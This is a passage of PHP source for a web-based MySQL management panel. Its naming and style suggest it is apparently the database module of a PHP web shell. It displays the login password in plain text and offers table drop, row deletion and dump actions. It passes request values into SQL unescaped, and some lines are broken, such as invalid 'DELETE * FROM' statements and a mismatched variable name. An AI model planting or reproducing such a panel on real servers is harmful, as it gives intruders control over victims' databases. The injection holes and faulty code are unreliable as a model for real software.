$sqlquicklaunch[] = array("Query",$sql_surl."sql_act=query&sql_tbl=".urlencode($sql_tbl));
$sqlquicklaunch[] = array("Server-status",$surl."sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=serverstatus");
$sqlquicklaunch[] = array("Server variables",$surl."sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=servervars");
echo "<font color='green'>MySQL ".mysql_get_server_info()." (proto v.".mysql_get_proto_info ().") running in ".htmlspecialchars($sql_server).":".htmlspecialchars($sql_port)." as ".htmlspecialchars($sql_login)."@".htmlspecialchars($sql_server)." (password - '".htmlspecialchars($sql_passwd)."')</font><br />";
if (count($sqlquicklaunch) > 0) {
foreach($sqlquicklaunch as $item) {
echo "<a href='".$item[1]."'>".$item[0]."</a> ";
}
}
}
echo "</td></tr><tr>";
if (!$sql_sock) {
echo '<td width="90%" height="1" valign="top"><table cellSpacing=0 cellPadding=0 width="100%" border=0><tr><td><table><tr><td><b>Username</b></td><td><b>Password</b> </td><td><b>Database</b> </td></tr><form action="' . $surl . '" method="POST"><tr><td><input type="text" name="sql_login" value="root" maxlength="64"></td><td><input type="password" name="sql_passwd" value="" maxlength="64"></td><td><input type="text" name="sql_db" value="" maxlength="64"></td></tr><tr><td><b>Host</b></td><td><b>PORT</b></td></tr><tr><td align=right><input type="text" name="sql_server" value="localhost" maxlength="64"></td><td><input type="text" name="sql_port" value="3306" maxlength="6" size="3"></td><td><input type="submit" value="Connect"></td></tr><tr><td></td></tr></form></table></td>';
echo "</table>";
} else {
//Start left panel
echo "<td width='100%'><div style='width:155px; height:100%; overflow:auto;'><table width='155' height='100'><tr>";
if (!empty($sql_db)) {
echo '<td width="155" height="100%" valign="top">';
$result = mysql_list_tables($sql_db);
if (!$result) {
echo mysql_smarterror();
} else {
echo "<a href='".$sql_surl."&'><b>".htmlspecialchars($sql_db)."</b></a><br /><br />";
$c = 0;
while ($row = mysql_fetch_array($result)) {
$count = mysql_query ("SELECT COUNT(*) FROM ".$row[0]);
$count_row = mysql_fetch_array($count);
echo " <a href='".$sql_surl."sql_db=".htmlspecialchars($sql_db)."&sql_tbl=".htmlspecialchars($row[0])."'>".htmlspecialchars($row[0])."</a> (".$count_row[0].")</br>";
mysql_free_result($count);
$c++;
}
if (!$c) {
echo "<font color='red'>Geen tabellen gevonden.</font>";
}
}
} else {
echo '<td width="155" height="100" valign="top">';
$result = mysql_list_dbs($sql_sock);
if (!$result) {
echo mysql_smarterror();
} else {
echo '<form action="' . $pmaurl_final . '" method="POST"><input type="hidden" name="sql_login" value="' . htmlspecialchars($sql_login) . '"><input type="hidden" name="sql_passwd" value="' . htmlspecialchars($sql_passwd) . '"><input type="hidden" name="sql_server" value="' . htmlspecialchars($sql_server) . '"><input type="hidden" name="sql_port" value="' . htmlspecialchars($sql_port) . '"><select name="sql_db" style="width:140px;">';
$c = 0;
$dbs = "";
while ($row = mysql_fetch_row($result)) {
$dbs .= "<option value='".$row[0]."'";
if ($sql_db == $row[0]) {
$dbs .= " selected";
}
$dbs .= ">".$row[0]."</option>";
$c++;
}
echo "<option value=''>Databases (".$c.")</option>";
echo $dbs;
}
echo '</select><hr size="1" noshade>Please, select database<hr size="1" noshade><input type="submit" value="Go"></form>';
}
echo "</tr></table></div></td>";
//End left panel
echo "</td><td width='100%' height='1' valign='top'>";
echo '<div style=" width:600px; height:480px; overflow:auto;">';
//Start center panel
$diplay = TRUE;
if ($sql_db) {
if (!is_numeric($c)) {
$c = 0;
}
if ($c == 0) {
$c = "no";
}
echo "<font color='red'>There are ".$c." table(s) in this DB (".htmlspecialchars($sql_db).").</font><br />";
if (count($dbquicklaunch) > 0) {
foreach($dbsqlquicklaunch as $item) {
echo "[ <a href='".$item[1]."'>".$item[0]."</a> ] ";
}
}
echo "</b></center>";
$acts = array("","dump");
if ($sql_act == "tbldrop") {
$sql_query = "DROP TABLE";
foreach($boxtbl as $v) {
$sql_query .= "\n`".$v."` ,";
}
$sql_query = substr($sql_query,0,-1).";";
$sql_act = "query";
} elseif ($sql_act == "tblempty") {
$sql_query = "";
foreach($boxtbl as $v) {
$sql_query .= "DELETE FROM `".$v."` \n";
}
$sql_act = "query";
} elseif ($sql_act == "tbldump") {
if (count($boxtbl) > 0) {
$dmptbls = $boxtbl;
} elseif($thistbl) {
$dmptbls = array($sql_tbl);
}
$sql_act = "dump";
} elseif ($sql_act == "deleterow") {
$sql_query = "";
if (!empty($boxrow_all)) {
$sql_query = "DELETE * FROM `".$sql_tbl."`;";
} else {
foreach($boxrow as $v) {
$sql_query .= "DELETE * FROM `".$sql_tbl."` WHERE".$v." LIMIT 1;\n";
}
$sql_query = substr($sql_query,0,-1);
}
$sql_act = "query";
} elseif ($sql_tbl_act == "insert") {
if ($sql_tbl_insert_radio == 1) {
$keys = "";
$akeys = array_keys($sql_tbl_insert);
foreach ($akeys as $v) {
$keys .= "`".addslashes($v)."`, ";
}
if (!empty($keys)) {
$keys = substr($keys,0,strlen($keys)-2);
}
$values = "";
$i = 0;
foreach (array_values($sql_tbl_insert) as $v) {
if ($funct = $sql_tbl_insert_functs[$akeys[$i]]) {
$values .= $funct." (";